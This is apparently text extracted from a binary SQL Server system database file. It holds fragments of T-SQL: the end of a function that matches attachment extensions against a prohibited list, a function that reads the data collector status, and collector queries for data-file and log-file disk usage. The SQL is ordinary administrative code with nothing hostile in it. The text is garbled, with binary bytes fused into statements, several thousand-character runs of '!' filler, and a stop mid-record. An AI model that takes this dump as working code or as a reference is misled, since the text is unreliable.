      SET @extensionName = SUBSTRING(@attachment, @extensionIndex + 1, (LEN(@attachment) - @extensionIndex)) 
      SET @extensionName = UPPER(@extensionName)

      -- compare @extensionName with each extension in the comma-separated @prohibitedextensions list
      DECLARE @currentExtensionStart int
      DECLARE @currentExtensionEnd int

      SET @currentExtensionStart = 0
      SET @currentExtensionEnd = 0
      WHILE (@currentExtensionEnd < LEN(@prohibitedextensions))
      BEGIN
         SET @currentExtensionEnd = CHARINDEX(',', @prohibitedextensions, @currentExtensionStart)

         IF (@currentExtensionEnd = 0) -- we have reached the last extension of the list, or the list was empty
            SET @currentExtensionEnd = LEN(@prohibitedextensions)+1

         DECLARE @prohibitedExtension nvarchar(1000)
         SET @prohibitedExtension = SUBSTRING(@prohibitedextensions, @currentExtensionStart, @currentExtensionEnd - @currentExtensionStart) 
         SET @prohibitedExtension = RTRIM(LTRIM(@prohibitedExtension))

         IF( @extensionName = @prohibitedExtension )
            RETURN 1

         SET @currentExtensionStart = @currentExtensionEnd + 1
      END
   END

   RETURN 0
END
0Oz G8CREATE FUNCTION [dbo].[fn_sysutility_mi_get_data_collector_status]()
   RETURNS BIT
AS
BEGIN
   RETURN 
   (
    SELECT CAST (ISNULL (parameter_value, 0) AS bit) 
       FROM [msdb].[dbo].[syscollector_config_store_internal]
       WHERE parameter_name = 'CollectorEnabled'
   );
END
0%y %8((0))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`@`IOv Disk Usage+
v*Server ActivityD
v,Query StatisticsP
v2Utility Information
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`
Za@%׬^`8!!!!`"$k[b@
p$ѓ.0$4K>$n9<[
Disk Usage - Data FilesTSQLQueryCollectorDataCollectorTypensxmlns:nsDataCollectorTypeQueryValue
DECLARE @dbsize bigint 
DECLARE @logsize bigint 
DECLARE @ftsize bigint 
DECLARE @reservedpages bigint 
DECLARE @pages bigint 
DECLARE @usedpages bigint

SELECT @dbsize = SUM(convert(bigint,case when type = 0 then size else 0 end)) 
      ,@logsize = SUM(convert(bigint,case when type = 1 then size else 0 end)) 
      ,@ftsize = SUM(convert(bigint,case when type = 4 then size else 0 end)) 
FROM sys.database_files

SELECT @reservedpages = SUM(a.total_pages) 
       ,@usedpages = SUM(a.used_pages) 
       ,@pages = SUM(CASE 
                        WHEN it.internal_type IN (202,204) THEN 0 
                        WHEN a.type != 1 THEN a.used_pages 
                        WHEN p.index_id < 2 THEN a.data_pages 
                        ELSE 0 
                     END) 
FROM sys.partitions p  
JOIN sys.allocation_units a ON p.partition_id = a.container_id 
LEFT JOIN sys.internal_tables it ON p.object_id = it.object_id 

SELECT 
        @dbsize as 'dbsize',
        @logsize as 'logsize',
        @ftsize as 'ftsize',
        @reservedpages as 'reservedpages',
        @usedpages as 'usedpages',
        @pages as 'pages'
OutputTable
disk_usage	DatabasesUseSystemDatabases	trueUseUserDatabases
true9
p$ѓ.0$4K>$o9<YDisk Usage - Log FilesTSQLQueryCollectorDataCollectorTypensxmlns:nsDataCollectorTypeQueryValue
-- SET NOCOUNT ON added to prevent extra result sets from
-- interfering with SELECT statements.
SET NOCOUNT ON;
DECLARE @tran_log_space_usage table( 
        database_name sysname
,       log_size_mb float
,       log_space_used float
,       status int
); 
INSERT INTO @tran_log_space_usage 
EXEC('DBCC SQLPERF (LOGSPACE) WITH NO_INFOMSGS');
 
SELECT 
    database_name,
    log_size_mb,
    log_space_used,
    status    
FROM @tran_log_space_usage
OutputTable	log_usage@
p$ѓ.0$4K>$r9<kServer Activity - DMV Snapshots=hi;gJ
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!